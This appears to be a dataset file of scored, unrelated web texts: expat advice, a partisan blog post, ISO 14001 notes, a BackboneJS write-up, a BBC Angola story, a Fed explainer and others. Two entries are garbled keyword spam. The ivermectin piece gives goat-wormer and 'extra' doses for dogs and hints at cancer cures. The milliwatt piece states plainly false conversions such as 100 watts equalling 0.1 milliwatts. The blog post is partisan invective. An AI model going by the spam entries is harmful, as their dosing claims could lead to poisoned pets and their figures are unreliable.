sent, so what I actually think she was doing was just processing her feelings and this is the best way she could do it.” To keep a familiar routine, Clara’s tip is to continue doing sports and hobbies your child already enjoys, “In our case this has been football and swimming, which has also given them a chance to meet children away from the school environment.” Sign up to our 5-part email guide to choosing expat health insurance. No spam, just helpful content for you! Your email address Phone This field is for validation purposes and should be left unchanged. Final thoughts before you make a decision to move abroad with family… Integrating into a new country and community is difficult at any age. Particularly if you’ve made the choice to move abroad for work reasons, you may be tempted to avoid adapting to your new home’s culture and language. Pushing yourself to do so, however, can make it easier for your children to do the same. Lead by example and let your children see the joy and wonder that your new country can provide. The benefits of exposing them to a new culture can be enormous, from providing them with valuable language skills to giving them a broader understanding of the world. Although the challenges of moving abroad with children can also be significant, taking steps to prepare your family for the move well in advance–and paying close attention to your children’s needs throughout the process–can help every member of your family reap the long-term advantages of time spent abroad. Wherever you decide to move, just make sure you have the confidence of global health insurance. At William Russell, we have been providing worldwide health cover for 30 years, helping expats like you and their families to settle into their new homes. Speak to us today to find out more about how global health insurance could support you. Looking for expat health insurance for your family? Learn more about our plans Related articles Country guide Expat life Moving to India: What You Should Know Before Going With its fast-growing economy and low cost of living, expats are flocking here. But what’s it really like? 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0.99969	Gary Legum, in a rant against “gun nuts,” referred to political columnist and commentator, Michelle Malkin, as a “rage monkey.” Here’s the relevant paragraph: National Review’s Charles C.W. Cooke was quick to blame the media and second the idea that reporting on shootings leads to copycats. Right-wing rage monkey Michelle Malkin suggested gun control advocates refrain from commenting on breaking news of shootings, for reasons that elude all reasonable explanation. Does she think we’re going to find out the shooter used a marshmallow gun or actually stabbed all his victims with a grapefruit spoon? It’s rather obvious that “racism” is merely code for “bash Republicans” in the playbook of some liberals. Their contempt for Asians and any other minority leaches through whenever the idol of liberalism is questioned. Imagine the outrage if President Obama were called a “rage monkey” by a conservative commentator. Calls for termination would be immediate and unrelenting. This illustrates what’s beneath the surface of many political pundits. They hate blacks, Jews, Asians, etc., but they’ve got to pretend that racism is the province of conservatism because it furthers “the cause.” Racial minorities are merely props in their quest for power. Sometimes that craving seizes them to such a degree that their true colors emerge. Come, Take them... The Benefit Of Having Different Political Parties Related Posts The Peril Of The Procrastinating Blogger Chicago Muslims Threaten Violence Against Jews Over Gaza Eli Roth: Twit About The Author Scalia Just an occasional poster looking to help give Wizbang a more conservative flavor. Search Support Wizbang! Recent Posts Wizbang Weekend Caption Contest™ December 3, 2021 No Comments Winners Wizbang Weekend Caption Contest™ Week of … November 28, 2021 No Comments Weekend Caption Contest™ Week of November 26, … November 26, 2021 No Comments Winners Weekend Caption Contest, Week of November … November 21, 2021 No Comments Wizbang Weekend Caption Contest™ November 19, 2021 No Comments Popular Now Popular Posts Wizbang Weekend Caption Contest™ November 5, 2021 No Comments Weekend Caption Contest Winners, Week of November … November 7, 2021 No Comments Wizbang Weekend Caption Contest™ November 12, 2021 No Comments Winners Weekend Caption Contest, Week of November … November 14, 2021 No Comments Wizbang Weekend Caption Contest™ November 19, 2021 No Comments About Editors: Warner Todd Huston, Rick, David Robertson, Doug Johnson, DJ Drummond, Michael Laprarie, Baron Von Ottomatic, Shawn Mallow, Dan Karipides, Michael Avitablile, Charlie Quidnunc, Steve Schippert Comment Section Editors: Maggie Whitton, Rodney Graves Emeritus: Jay Tea, Lorie Byrd, Kim Priestap, Paul, Mary Katherine Ham, Jim Addison, Alexander K. McClure, Cassy Fiano, Bill Jempty, John Stansbury, Rob Port In Memorium: HughS All original content copyright © 2003-2014 by Wizbang®, LLC. All rights reserved. Wizbang® is a registered service mark.
0.950713	What is hope, how does it impact on our ability to make positive changes in our lives and sustain us in difficult times? It is the capacity to feel optimistic about one’s situation and what lies in store in the future. Hope develops from an expansive inner vision that helps us find positive solutions and take bold action to address and resolve challenging situations that we face and to believe that a beneficial outcome is possible. It comes from an inner confidence that a situation or set of circumstances can work out for the benefit of those involved and in some way, result in a good outcome. Hope enables us to see the potential in the details of what is happening, even in the midst of adversity and helps us to believe that positive outcomes are possible in spite of the challenges we face. To do so, we need to trust that good things lie ahead and by working hard and being committed and focused, that we can make them become reality. In order to manifest that which has not yet appeared, we need to have faith that, even though we do not see it yet, the only way to bring it into our life is to make a commitment to working at it, for ourselves and our future. Having hope requires that we trust that the unknown ahead offers the potential for this beneficial outcome. To sustain hope that we need to focus on the potential rather than the limitations in a given situation. In order to feel hopeful, one needs to believe something better is possible, even if there is no tangible evidence to support that belief at the moment. Hope gives us the sense that there is a reason to keep at it, to keep going, despite the odds, the challenges and potential limitations. To feel the fear, ambivalence, worry, uncertainty and make a decision to move forward anyway. One moment, one step and one situation at a time.
0.999999	The environmental management system will allow demonstrating to stakeholders the management of environmental impact and environmental protection. Reduce the cost of energy and supplies, while at the same time reduce the number of incidents for which the company may incur costs and fines from regulatory organizations. What will the introduction of ISO 14001 bring to the company? 1) will allow to identify internal and external problems, identify stakeholders and their expectations, determine the scope of the environmental management system and the processes necessary for the environmental management system ISO 14001; 2) determine and disseminate environmental policies within the company, as well as distribute roles and responsibilities throughout the company; 3) the ability to correctly plan work in the field of environmental management system ISO 14001; 4) assess the risks and opportunities of the ISO 14001 environmental management system in the company, determine environmental goals for improvement and make plans to achieve these goals; 5) evaluate all methods of interaction of processes within the company that affect the environment, as well as legal and other obligations that are required for the company; 6) manage all the resources of the environmental management system ISO 14001, as well as determine the requirements for competence, awareness, communication and control of documented information (documents and records necessary for your processes); 7) competently monitor the state of the environment when performing the necessary processes of the company, as well as identify potential emergency situations and provide for a number of actions to respond in the event of an emergency; 8) analyze the environmental management system ISO 14001 by monitoring and measuring processes, assessing compliance with environmental standards, conducting internal audits; 9) identify areas for improvement of the environmental management system ISO 14001; 10) to assess the non-compliance of the process and determine, if necessary, corrective actions for the environmental management system ISO 14001.
0.939808	When recently tasked with implementing a redesign of several of our essential pages, we decided to start with a new application layout. This allowed us to rethink the technologies we use in our front-end stack, which is awesome, but also carries a great responsibility in making maintainable decisions. As one of the requirements of the project was to cater to mobile devices, we decided to use Twitter Bootstrap as the foundation for our styles and layout. This gave the teams involved a structure to follow and many components to extend from, besides this we documented some guide lines in a Sass style guide. During the early stages of the project it also became clear that we needed to have a solid structure and set of conventions in place for our JavaScript. After considering the many JS frameworks available we decided to go with BackboneJS. We chose this technology because it gave us the structure and building blocks needed to get the job done, without getting in the way too much. We also considered AngularJS and EmberJS, but decided against these two as they cater more to a fully JavaScript driven front-end. By this meaning that we still wanted to do most of the page rendering on the server and then initialize the JS functionality once the page is loaded. Once we decided on BackboneJS, we put down the rule that all JavaScript in the new layout should be wrapped in Backbone so that we don’t end up with jQuery spaghetti years down the line. This decision was a bit controversial to begin with, but has worked out great in terms of keeping our front-end code consistent and maintainable across teams. Organizing the new layout Introducing BackboneJS into the application created a new set of decisions to make in terms of file organization and object naming. We decided to do the simplest thing that could work, which is bundling all JavaScript files together into one file and including it on all pages. This increases the load time when the user first enters the site, but subsequent requests benefit from having the JavaScript cached. As this file grows in size we might consider using a module loader like RequireJS or Browserify, but for now we stick to the YAGNI principle. To avoid naming collisions we agreed the following namespacing structure: window.HouseTrip = window.HouseTrip \|\| {}; HouseTrip.Models = {} HouseTrip.Collections = {} HouseTrip.Views = {} This initialization is included at the top of our concatenated JavaScript file, allowing us to attach classes to it as they get loaded. A model would for instance be defined in a separate file as: HouseTrip.Models.Property = Backbone.Model.extend({}) This allows us to gather all relevant code in their own namespace, and having access to any resource anywhere we might need it. We decided to document these decisions in a BackboneJS style guide. Final thoughts I think the decision to go with BackboneJS and do the most of the rendering in Rails is a great way to transition a large application towards a more modern and performant front-end. Whether it will still be maintainable 2 years down the line is hard to say, but it has worked great so far for a project spanning three teams over several months.
0.967995	Angola has been warned to clean up its accounting of oil revenues in order to help rebuild its war-torn economy. "The whole international community wants to see Angola move to better economic policies including transparency," said Walter Kansteiner, US assistant secretary of state for African Affairs. The Angolan army and the Unita rebels signed a ceasefire agreement after 27 years of civil war earlier this month. This has raised efforts to try and put Angola's economy, shattered by decades of civil war, into some sort of order and try to alleviate the widespread poverty. Angola is rich in natural resources with both diamonds and oil - but exports have often been used to fuel the war. It also has a fertile land for growing coffee and sugar cane. But since the country is littered with land mines, agriculture can be like Russian Roulette. Missing money The government is alleged to have used the smokescreen of war to hide its oil revenues. The result has been that instead of the money helping development and poverty reduction, it has funded the armed forces and slipped into leaeders' bank accounts. Mr Kansteiner says that the Angolan government must declare all its oil revenues onto its official budget. "You're not going to get economic change or growth if you lose, say, 25% of your revenue strain," he said. Angola is sub-Saharan Africa's second largest oil exporter, pumping about 900,000 barrels a day. Global Witness, which specialises in the relationship between conflict and resource exploitation, believes that between a thrid and half of all state income - well over $1bn - went missing last year. Time for change Mr Kansteiner said the death of rebel fighter Jonas Savimbi could be a key turning point in the battle to restore economic order in Angola. But the task ahead is daunting. The war has left about four million of the former Portuguese colony's 12 million people displaced and killed around one million people. The international monetary fund ceased lending to Angola in June 2001 because of the "missing" revenues. New era Key stories Famine in fertile land Unita soldiers 'starving' Celebrating peace Final moments Luanda celebrates Background Unita's chance to unite Oil and diamonds Q&A: Angola's war Humanitarian crisis Timeline Profiles Eduardo dos Santos Jonas Savimbi General Gato Country profile: Angola TALKING POINT What next for Angola? See also: 04 Apr 02 \| Africa Angola to end civil war 25 Mar 02 \| Business West 'creates' conditions for corruption 25 Feb 02 \| Business Oil and diamonds after Savimbi 14 Dec 01 \| Business Africa's economy stumbles 03 Dec 01 \| Business BP fails to strike Angolan oil 07 Mar 02 \| Country profiles Country profile: Angola Internet links: Angolan government The BBC is not responsible for the content of external internet sites Top Business stories now: WorldCom chiefs refuse to testify Buoyant eBay snaps up bills firm Digital TV woes hit Pace profits Bush vows action after scandals Merck 'exaggerated' revenue in accounts Congress pushes accounting reform Oil trade thaws US-Russian ties HIV: the drug firms' quest for a cure Links to more Business stories are at the foot of the page. E-mail this story to a friend Links to more Business stories In This Section WorldCom chiefs refuse to testify Buoyant eBay snaps up bills firm Digital TV woes hit Pace profits Bush vows action after scandals Merck 'exaggerated' revenue in accounts Congress pushes accounting reform Oil trade thaws US-Russian ties HIV: the drug firms' quest for a cure UK business failures on the rise Channel 4 boss warns of cuts Babcock rescue talks fail Standards officers to grill food industry Israel 'okays El Al sale' Irish snacks group shelves listing plans Stock market funds under scrutiny CAR accelerates anti-corruption drive Nepal boosts security spending Bank of China to raise $3bn in share sale Iraq and India ties warmed by oil deals Zambia pleads for more donations Kingfisher seals takeover of DIY giant Mobile phone giant denies pension risk Bulmer's profits fall flat Scots business profits weaken Wireless internet arrives in China Profile: WorldCom's John Sidgmore Wales leads UK bust firms league Chicago steals a lead on Silicon Valley Profits plunge at Alcoa UK factory gate prices flat Cost cuts boost UK banks and insurers ^^ Back to top News Front Page \| World \| UK \| UK Politics \| Business \| Sci/Tech \| Health \| Education \| Entertainment \| Talking Point \| In Depth \| AudioVideo
0.989888	A genetic sensitivity to ivermectin can be seen in several breeds, but is more commonly seen in the following breeds: Collie; Old English sheepdog.After the initial injection, positive skin scrapings from 20 treated dogs decreased from 7 to 1 and the degree ….Ivermectin is used in many dosage ranges, depending on the purpose of its usage In these dogs, ivermectin can pass directly to the brain and be toxic or even lethal.Insurance companies pay up to 0 a tab, for horses its ten tabs and some apple jelly for at your local feed store Read also: Ivermectin, miracle or mirage against Covid-19?It is used to prevent or treat a variety of parasites is ivermectin bad for dogs in pets.Infected dogs should be treated with an adulticide to remove adult heartworms Ivermectin is Ivermectin, the only difference is the price.It also used off label for treating a variety of internal and external parasites.Ivermectin, also known as Ivomec® or Heartgard®, is ivermectin bad for dogs is used to control skin parasites , gastrointestinal parasites and parasites within the bloodstream in dogs and cats.The active ingredient in Ivomec injections is Ivermectin, the same as that used in brands such as Heartgard Even in places where mosquitoes are bad.The same active ingredient Ivermectin Valuheart Heartworm Ivermactin tablets for Dogs are given once a month for the prevention of heartworm disease caused by the parasitic worm Dirofilaria Immitis in dogs.I usually add a little extra to the dose, just in case Heartgard Plus for Dogs.Ivermectin prevents or kills parasites by causing neurological damage to the parasite, resulting in paralysis and death for the parasite Ivermectin by: Anne Hi, I have heard of other aussies going through the ivermectin reaction and pulling through.The product you specifically mentioned, Liqui-Care P, is designed to be given at a rate of 6ml per every 100lbs body weight How long do dog medications really last?Some breeds have been known to be sensitive to ivermectin (particularly collies), however, I have Belgian Tervuren (another herding breed) and have used it.In addition to IVM, the current avermectin family members include selamectin, doramectin and moxidectin [, , , ] ().In many cases, the safety of Ivermectin is directly related to the dosage administered.This active ingredient works by paralyzing and killing heartworm (larvae) and other parasites 'Allergic shock' is possible because if the ivermectin kills heartworm larvae that are present in the dog, the sudden death of the larvae can cause a reaction.Ivermectin (EYE-ver-MEK-tin) is an anti-parasitic medication, and a relatively new animal drug [3], prescribed for preventing heartworm diseases and treating other conditions like ear mites, and sarcoptic and demodectic mange in dogs [1].1 It is also commonly used to treat scabies, although usage patterns for this indication vary between countries The dose of ivermectin in Heartguard Plus is much lower than the one listed above because this product is safe to give to all breeds of dogs.Parasitic diseases are common in animals. Carragenina Ivermectina However, it is important to be aware of the side effects that your dog might experience when taking the medicine.In addition to IVM, the current avermectin family members include selamectin, doramectin and moxidectin [, , , ] ().Insurance companies pay up to 0 a tab, for horses its ten tabs and some apple jelly for at your local feed store Lethargy.The margin of safety for ivermectin in most breeds of dog is well over 100 times the recommended dose but in Collies it is about.Russian plane fighting wildfires crashes in Turkey, killing.Many NexGard for Dogs reviews also report dogs experiencing seizures after taking the flea and tick pill for dogs.How much safeguard goat wormer to give a dog.Use with caution in dogs with a history of seizures or neurologic disorders.As well, if there are heartworms present in a pet, and ivermectin is administered, the dead parasites can remain in the arteries and heart, causing an obstruction Safety of Ivermectin in Dogs. As with many drugs, higher dosages tend to have higher risks of complications and potential side effects associated.There is some concern, however, that albendazole may suppress.IVM is currently the most successful avermectin family drug and was approved by the FDA for.This toxic reaction occurs especially in dogs that are genetically hypersensitive to ivermectin, an anti-parasite medication most commonly used for heartworm prevention, or to treat ear and hair mites, which can lead to mange.It comes in the form of pills, a liquid, chewables, injections, or as a topical treatment.Ivermectin is most commonly used as a heartworm preventive in dogs and cats.I usually add a little extra to the dose, just in case Valuheart Ivermectin for Dogs It is a generic version of the Heartgard tablets.Seriously, don't give your dogs chocolate.As stated on the product packaging, NexGard should be used only under the guidance of a veterinarian and “with caution in dogs with a history of seizures.It might not be as simple as giving that tasty heartworm chew every month … but it’s a lot safer for your dog!Please, just Google cancer and ivermectin.Collie breed of dogs are more susceptible to ivermectin and tolerate only up to 0.If your dog weighs 35lbs, you should give him/her 7 ml of safeguard goat wormer..But your dog’s own immune system can do that … without drugs Ivermectin, a US Food and Drug Administration-approved anti-parasitic agent, was found to inhibit severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) replication in vitro.The drug is particularly toxic to herding breeds such is ivermectin bad for dogs as Collies, Old English Sheepdogs, Shetland Sheepdogs, Australian Shepherds, Border Collies, and.But your dog’s own immune system can do that … without drugs Chocolate (like Ivermectin) is bad for dogs, therefore you should never eat it!Young dogs and certain breeds have a low tolerance for ivermectin Cancer was going to kill this dog; it wasn't as if the medicine would make the dog any more dead.It may also be used for controlling parasites affecting other external or internal organs like the intestines [2] Most of the time toxic reactions occur when a dog ingests 10-20 times the recommended canine dose.Ivermectin for dogs and cats is a commonly used parasite treatment or preventative.It is called the MDR1 test Ivermectin is ivermectin whether they put in a pill for your dog or a syringe for your horse.What is ivermectin used for in dogs.Sensitivity to the drug can also be seen in dogs or puppies that have overdosed on a similar medication in the past.Many NexGard for Dogs reviews also report dogs experiencing seizures after taking the flea and tick pill for dogs.Ivermectin kills several kinds of parasites that can compromise a dog's health, including heartworm and two kinds of mites that cause mange.A randomized, double-blind, is ivermectin bad for dogs placebo-controlled trial was conducted to determine the rapidity of viral clearance and saf ….It can be used to treat a wide range of conditions.Ivermectin is a member of the class of avermectins, which are highly active broad-spectrum, anti-parasitic agents.I still have 9/10s of the bottle left.It may range from 5-30 mg per kilogram of weight every 8-12 hours and depends on the use of gabapentin, your dog’s circumstances (other illnesses, causes of the neuropathic pain, reaction to the medicine), and their weight Local woman shares experience taking Ivermectin.For example, if your dogs weighs 20 lbs, you should give him/her 4 ml. Comprar Ivermectina Mercado Libre As stated on the product packaging, NexGard should be used only under the guidance of a veterinarian and “with caution in dogs with a history of seizures.The amount of safeguard goat wormer you give your dog is totally dependent on your dog’s weight.The margin of safety for ivermectin in most breeds of dog is well over 100 times the recommended dose but in Collies it is about.Seriously, don't give your dogs chocolate.There is some concern, however, that albendazole may suppress.However, it is important to be aware of the side effects that your dog might experience when taking the medicine.1 mg/kg dose rate of ivermectin Paul et al.Finding the cause of sudden seizures in previously healthy dogs may require a neurology or internal medicine work-up, but the ASPCA Animal Poison Control Center notes that often the problem can be traced to a toxin exposure.At this dose the 110 lb dog is getting 10,000 mcg (200mcg/kg) of ivermectin vs is ivermectin bad for dogs the 272mcg (6 mcg/kg) in a heartgard chewable Dog owners today are armed with more tools for keeping their dogs healthy and fit than ever before.Although Ivermectin is an effective medication and it is safe for you to use it on your dog, every animal can react differently to certain drugs Lethargy.It uses ivermectin and pyrantel to protect dogs from heartworms as well as treat and control hookworm and roundworm infestations.I bought it and have been using it on all my goats, horses, dogs and chickens.” The dose of ivermectin in Heartguard Plus is much lower than the one listed above because this product is safe to give to all breeds of dogs.Dogs receiving isoxazoline class drugs, even in dogs without a history of seizures.Those dogs with a mutation in the MDR-1 gene lack a protein that allows.'Allergic shock' is possible because if the ivermectin kills heartworm larvae that are present in the dog, the sudden death of the larvae can cause a reaction.It can be used to treat a wide range of conditions.I bought it and have been using it on all my goats, horses, dogs and chickens.It’s easy to give, and compared to the topical options, Heartgard Plus is a very affordable option Albendazole is typically used to treat serious parasitic infections in dogs.The dog is ivermectin bad for dogs recovered is ivermectin bad for dogs uneventfully after treatment.Our customer service department gets a lot of emails from dog lovers about every type of question you can imagine about dogs.Also don't give your collies, and some other breeds with a specific genetic abnormality, ivermectin Valuheart Ivermectin for Dogs It is a generic version of the Heartgard tablets.
0.999971	When making a recipe from a cook book, how do you handle the book while referring to it? Do you use a book rack? Prop it up? Lay it flat? * What is one of your cook books that you never use but wish you did? * On this scale of 1 to 5, with five describing the most pristine… how clean are the pages of your cookbooks? * 1 2 3 4 5 Where do you keep your cook books? * Beyond following a recipe, describe how you use cookbooks. In other words, what do your cook books do? * Are you more likely to consult a cook book when baking or cooking or both? * Baking Cooking select all that apply Do you use any inherited cookbooks? Please describe the person from whom you inherited the book. * On this scale of 1 to 5, with 5 being the most faithful… when cooking from a book, how closely do you follow the recipe? * 1 2 3 4 5 What kind of notes do you keep in your cookbooks and how? What do these notes typically do? Please select all that apply: * Menu Idea Substitutions Omissions Advice on Oven Temperature Date of Preparation Other select all that apply
0.999896	Perhaps no institution has more power to affect the nation's economy than the Federal Reserve, the independent central bank established by Congress in 1913. Under the leadership of its influential chairman, Janet Yellen, the Fed steers the economy most directly by periodically raising and lowering the federal funds rate, which banks charge to each other on overnight loans. Such rate changes can take six to nine months to work completely through the economy. While Fed policy changes frequently are attributed to the central bank's Chairman, Janet Yellen, decisions actually are made by the Federal Open Market Committee. The Federal Open Market Committee consists of twelve members: the seven members of the Board of Governors of the Federal Reserve System; the president of the Federal Reserve Bank of New York; and, for the remaining four memberships, which carry a one-year term, a rotating selection of the presidents of the eleven other Reserve Banks. The FOMC holds eight regularly scheduled meetings per year to direct the conduct of open market operations by the Federal Reserve Bank of New York in a manner designed to foster the long-run objectives of price stability and sustainable economic growth. The FOMC also establishes policy relating to System operations in the foreign exchange markets. Through its interest rate adjustments the Fed attempts to guide the economy. But, what is the actual effect of these actions? When rates go up - Raising interest rates is considered an effective way to quell inflation. The Fed will raise rates to keep the economy from overheating. Businesses: Higher interest rates make it more difficult for businesses to get loans to expand. Unemployment tends to rise, which eases wage inflation, although at a human cost. Consumers: Higher interest rates on credit cards and mortgages can cool consumer spending, which accounts for about two-thirds of economic activity. Markets: Higher interest rates tend to attract investment into bonds and other fixed-income investments, pushing down stock prices. When rates go down - The Fed generally cuts interest rates when inflation is subdued and the economy needs a boost. Businesses: Lower rates cut the cost of capital, improving profit margins and encouraging expansion. Consumers: Lower interest rates can create economic activity by inducing consumer spending. For example, lower mortgage rates can spark home sales and mortgage refinancing. But the Fed's ability to affect such long-term rates is indirect. Markets: Lower interest rates tend to boost stock prices because bonds and other fixed-income investments are no longer so attractive. In addition, lower rates cut costs for companies, boosting profits.
0.999878	It is important for a child to be active in his studies. Doing so can develop your child’s personal learning, personality, social skills, and being attentive to the subjects. During the times when your kid fails to comply with the homework or acted arrogantly in class, the typical punishments are either suppression of taking a recess and prohibition to attend physical education activities. This could be frustrating for the student. In fact, students like these are the ones who really need physical activities the most. Here are substitute punishments for these type of students: Healthy Substitutes A kid needs to be aware of the consequences of behaving badly. However, punishments should ensure that his socio-emotional state remains to be healthy. Educate the school members about how important physical activities and recess are and how they create impacts on a student’s learning. Collaborate with a co-teacher to host a professional development program about effective classroom management methods to evade future problems with a student’s behavior. Instead of applying sanctions that would further frustrate the student, it is better to work with a school principal and social worker to create effective and healthy disciplinary consequences for those who misbehave. These sanctions must teach the students a lesson in a good way. Always remember that a bad punishment will not justify bad behavior. It is only when a flower is watered with a clean substance and a good amount of sunshine that it blooms at its best.
0.994884	Milliwatts. One milliwatt is the power equal to 1/1,000 of a watt, or the energy consumption at a rate of 1/1,000 of a joule per second.. The milliwatt is a multiple of the watt, which is the SI derived unit for power. In the metric system, milli is the prefix for 10-3.Milliwatts can be abbreviated as mW; for example, 1 milliwatt can be written as 1 mW Task: Convert 45,000 milliwatts to watts (show work) Formula: milliwatts ÷ 1,000 = watts Calculations: 45,000 milliwatts ÷ 1,000 = 45 watts Result: 45,000 milliwatts is equal to 45 watts. Conversion Table. For quick reference purposes, below is a conversion table that you can use to convert from milliwatts to watts The milliwatts to watts Conversion Formula to convert 8997.66 mw to watts You can use the following formula to convert from Kilowatts to watts : X(W) = y(mW) / 1000 How to convert 8997.66 milliwatts to watt? X(W) = 8997.66(mW) / 1000 Answer: 8.9977 W milliwatts to watts conversion table (Example: 8997.66 mW = 8.9977 watts Convert milliwatts to watts [mW to w] (mW:milliwatt, w:watt) Convert mW to w a power conversion table. Calculate electricity usage and cost per hour, day, week, month, year and decade using this electricity cost and electric bill calculator Convert Milliwatts to Watts (mW in W). Milliwatts and Watts both are the units of POWER. See the charts and tables conversion here Convert milliwatts to watts - Power / Electricity Conversion Milliwatts to Watts Conversion Table Watts [ W ] The watt (symbol: W ) is a derived unit of power in the International System of Units (SI) defined as 1 joule per second and can be used to quantify the rate of energy transfer 1 Milliwatt = 0.001 Watts: 10 Milliwatt = 0.01 Watts: 2500 Milliwatt = 2.5 Watts: 2 Milliwatt = 0.002 Watts: 20 Milliwatt = 0.02 Watts: 5000 Milliwatt = 5 Watts: 3 Milliwatt = 0.003 Watts: 30 Milliwatt = 0.03 Watts: 10000 Milliwatt = 10 Watts: 4 Milliwatt = 0.004 Watts: 40 Milliwatt = 0.04 Watts: 25000 Milliwatt = 25 Watts: 5 Milliwatt = 0.005 Watts: 50 Milliwatt = 0.05 Watts: 50000 Milliwatt. Learn how to convert from milliwatts to watts and what is the conversion factor as well as the conversion formula. 0.5 watts are equal to 0.0005 milliwatt mW to watts conversion calculator. How to convert watts to milliwatts. One watt is equal to 1000 milliwatts: 1W = 1000mW. Watts to milliwatts conversion formula. The power in milliwatts P (mW) is equal to 1000 times the power in watts P (W): P (mW) = 1000 ⋅ P (W) Example. Convert 5W to milliwatts: P (mW) = 1000 ⋅ 5W = 5000mW. Watts to. Free online power conversion. Convert 10 milliwatts to watt (mW to W). How much is 10 milliwatts to watt? +> with much ♥ by CalculatePlu milliwatts to Watts converter - mw to We assume you are converting between watt and milliwatt. You can view more details on each measurement unit: watt or milliwatt The SI derived unit for power is the watt. 1 watt is equal to 1000 milliwatt. Use this page to learn how to convert between watts and milliwatts Learn how to convert from milliwatts to watts and what is the conversion factor as well as the conversion formula. 100 watts are equal to 0.1 milliwatts The SI derived unit for power is the watt. 1 watt is equal to 1000000 microwatt, or 1000 milliwatt. Note that rounding errors may occur, so always check the results. Use this page to learn how to convert between microwatts and milliwatts. Type in your own numbers in the form to convert the units! ›› Quick conversion chart of microwatt to. Diferent power units conversion from milliwatt to watts. Between mW and W measurements conversion chart page. Convert 1 mW into watt and milliwatts to W. The other way around, how many watts - W are in one milliwatt - mW unit? Calculate from power into other power unit measures The appliances watt estimation. The duration in an estimated manner the appliance will be in operation. The milliwatts. Milliwatts are smaller compared to the watts. During mathematical or empirical data analysis, it is good to know how to make the correct calculations regarding the watts, and milliwatts.1000 milliwatts is equivalent to one watt Milliwatts to watts [mW to w] conversion tables with example dBm Milliwatts, Watts & Voltage Conversion Chart Conversion table to convert between dBm, Watts and voltage in a 50 Ω system. Decibels, dB Tutorial Includes: Decibels, dB - the basics Decibels levels table dBm to dBW & power conversion chart dBm to watts and volts conversion chart dB, decibel online calculator Nepers When working with. Free online power conversion. Convert 4 milliwatts to watts (mW to W). How much is 4 milliwatts to watts? +> with much ♥ by CalculatePlu Next, let's look at an example showing the work and calculations that are involved in converting from milliwatts to microwatts (mW to μW). Milliwatt to Microwatt Conversion Example Task: Convert 18 milliwatts to microwatts (show work) Formula: milliwatts x 1,000 = microwatts Calculations: 18 milliwatts x 1,000 = 18,000 microwatts Result: 18 milliwatts is equal to 18,000 microwatt How to convert Milliwatts to Watts. Milliwatts to Watts conversion formula. The power in watts P (W) is equal to the power in milliwatts P (mW) divided by 1000:. P (W) = P (mW) / 1000. 1 mW = 0.001 Convert 697 Milliwatts [mW] to Watts [W]. Use our free power converter to convert other units of power The watt (symbol: W) is a unit of power.In the International System of Units (SI) it is defined as a derived unit of 1 joule per second, and is used to quantify the rate of energy transfer.In SI base units, the watt is described as kg⋅m 2 ⋅s −3. The watt is named after James Watt, an 18th-century Scottish inventor Convert 186 Milliwatts [mW] to Watts [W]. Use our free power converter to convert other units of power 7 Milliwatts to Watts = 0.007: 400 Milliwatts to Watts = 0.4: 8 Milliwatts to Watts = 0.008: 500 Milliwatts to Watts = 0.5: 9 Milliwatts to Watts = 0.009: 600 Milliwatts to Watts = 0.6: 10 Milliwatts to Watts = 0.01: 800 Milliwatts to Watts = 0.8: 20 Milliwatts to Watts = 0.02: 900 Milliwatts to Watts = 0.9: 30 Milliwatts to Watts = 0.03: 1,000. Milliwatts conversion. Milliwatt is a prefixed form used to indicate submultiples of watt. 1 milliwatt = 10-3 watt 1 Watt = 30 decibel-milliwatts. There are 30 decibel-milliwatts in a watt. If you want to determine the number of decibel milliwatts in a watt, multiply 10 by the base logarithm of 1000 times the power in watts. For example; Convert 45 watts to dBm. Solution. P(dBm) = 10 ⋅ log 10 (1000 ⋅ 45 W / 1W) = 46.532125138 decibel-milliwatts in 45 watts Decibel-Milliwatts (dBm) to Watts (W) conversion calculator online. Convert power from Decibel-Milliwatts (dBm) to Watts (W) instantly using this tool Exchange reading in milliwatts unit mW into watts unit W as in an equivalent measurement result (two different units but the same identical physical total value, which is also equal to their proportional parts when divided or multiplied). One milliwatt converted into watt equals = 0.0010 W 1 mW = 0.0010 This on the web one-way conversion tool converts power units from milliwatts ( mW ) into watts ( W ) instantly online. 1 milliwatt ( mW ) = 0.0010 watts ( W ). How many watts ( W ) are in 1 milliwatt ( 1 mW )? How much of power from milliwatts to watts, mW to W? Exchange values and measures from one power unit to another unit by quick calculation Convert 200 Milliwatts to the power in watts. The calculation will be; P (W) = 200 mW / 1000 = 0.2 Watts (W) You can also use the milliwatts to watts conversion table to determine the conversions of common values from milliwatts to watts based on a scale of 1 mW to 1000 mW Milliwatts to Watts Converter enables you perform easy calculations by making quick conversions. Use this converter for converting mW to W conversions milliwatts The milliwatt (mW) is equal to one thousandth (10 −3 ) of a watt. A typical laser pointer outputs about five milliwatts of light power, whereas a typical hearing aid for people uses less than one milliwatt Decibel-Milliwatts to Watts conversion Decibel-Milliwatts (dBm) to Watts (W) conversion calculator and how to convert. Enter the power in dBm press the Convert button This on the web one-way conversion tool converts power units from watts ( W ) into milliwatts ( mW ) instantly online. 1 watt ( W ) = 1,000.00 milliwatts ( mW ). How many milliwatts ( mW ) are in 1 watt ( 1 W )? How much of power from watts to milliwatts, W to mW? Exchange values and measures from one power unit to another unit by quick calculation Milliwatt definition is - one thousandth of a watt. Recent Examples on the Web One of these ingestibles can power a 5 milliWatt device (or, 0.005 of a watt) for up to 18 hours using 600 milligrams of active melanin material. — David Grossman, Popular Mechanics, You Can Swallow This Battery, 24 Aug. 2016 Dr Neasham's nanomodems consume only ten milliwatts when listening, and 1W when. mW to watts conversion calculator . How to convert watts to milliwatts. One watt is equal to 1000 milliwatts: 1W = 1000mW. Watts to milliwatts conversion formula. The power in milliwatts P (mW) is equal to 1000 times the power in watts P (W): P (mW) = 1000 ⋅ P (W) Example. Convert 5W to milliwatts: P (mW) = 1000 ⋅ 5W = 5000mW . Watts to. Convert Milliwatts to Watts (mW to W) JustinTOOLs © 2017-2018, all rights reserved 1000 milli watt = 1 watt. so that device should be pressed 1000/50= 20times. 1 watt= 1 joule.second. 1watt for 1 hour = 1 joule/sec for 1 hour = 3600 joule. 360020= 72000. so you have to press that device 72000 times for charging in 1sec. or you have to press that device 20 times for charing in 1 hour. It depends on charging tim A milliwatt (mW) is one thousandth of a watt (W), or there are 1000 milliwatts in a watt. The watt is an SI derived unit of power. One watt is one joule of energy per second. The formula to calculate mW from dBm is: dBm Definition. Enter value to convert from dBm to milli-watt (mW) below 1 Milliwatt Hour to common energy units; 1 mWh = 3.6 joules (J) 1 mWh = 0.0036 kilojoules (kJ) 1 mWh = 0.8604206500956 calories (cal) 1 mWh = 0.0008604206500956 kilocalories (kcal) 1 mWh = 